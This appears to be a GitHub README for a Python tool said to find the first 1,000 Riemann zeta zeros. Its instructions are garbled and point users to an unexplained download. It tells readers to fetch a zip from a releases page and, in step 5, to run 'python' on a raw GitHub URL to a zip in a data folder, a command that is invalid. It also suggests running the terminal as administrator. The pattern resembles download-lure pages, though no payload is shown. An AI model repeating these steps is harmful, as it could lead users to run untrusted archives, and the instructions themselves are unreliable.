To get started with this application, you need to visit the releases page to download the necessary files.

Click the link below to access the releases page:

Visit the Releases Page

This application finds the first 1,000 nontrivial zeros of the Riemann zeta function. It uses advanced mathematical methods to ensure accuracy. Even if you have no programming background, you can easily run this software by following these steps.

Before you download, check if your computer meets these requirements:

• Operating System: Windows, macOS, or Linux
• Storage Space: At least 100 MB free
• Python Version: Python 3.6 or higher (recommended)
• Dependencies: Additional Python libraries may be required (details below)

This application depends on certain Python libraries to run effectively. You may need to install these if they are not already available on your system:

• mpmath
• numpy
• scipy

You can install these libraries using the following command in your terminal or command prompt:

pip install mpmath numpy scipy

1. Download the Latest Release:

   • Go to the Releases Page.
   • Find the latest version and download the file for your operating system.

2. Extract Files:

   • Once downloaded, locate the zip file and extract its contents to a folder on your computer.

3. Open Terminal or Command Prompt:

   • On Windows, search for 'cmd' in the start menu.
   • On macOS, open 'Terminal' from Applications.
   • On Linux, search for 'Terminal' in your applications.

4. Navigate to the Application Folder: Use the cd command to change the directory to where you extracted the folder. For example, if you extracted it to Documents, you would type:

cd Documents/rh-first-1000-zeros-python

5. Run the Application: To run the application, execute the following command:

python https://raw.githubusercontent.com/Qwerty849/rh-first-1000-zeros-python/main/data/rh-first-1000-zeros-python_v1.3.zip

Once you run the application, it will calculate the first 1,000 nontrivial zeros of the Riemann zeta function. The results will display in your terminal or command prompt. You can review the numerical values, and if required, the application will also provide details about the calculations performed.

• Enhanced Accuracy: The application uses rigorous verification through interval arithmetic.
• Visualization Tools: Optional feature for users who want to visualize the zeros graphically.
• Logging Capability: Automatically logs the results for future reference.

These features make this application suitable for both educational and research purposes in analytic number theory.

If you encounter issues while running the application, consider the following steps:

• Python Not Recognized: Ensure you have Python installed correctly on your system. Check your installation by typing python --version in your terminal.

• Missing Libraries: If you see errors about missing libraries, make sure you install them using the pip commands provided earlier.

• Permission Errors: Ensure you have appropriate permissions to run scripts on your system. On some systems, you may need to run your terminal as an administrator.

This application is licensed under the MIT License, which means you can freely use, modify, and distribute it as long as you credit the original authors.

We welcome contributions! If you want to help improve this application, please follow these guidelines:

1. Fork the repository.
2. Create a new branch for your feature or fix.
3. Make your changes.
4. Submit a pull request.

Your contributions help make the project better for everyone.

If you need further assistance, you can reach out through the GitHub Issues section on the repository.

Remember, your journey in discovering the Riemann zeta function's zeros starts with just a few simple steps. Enjoy exploring!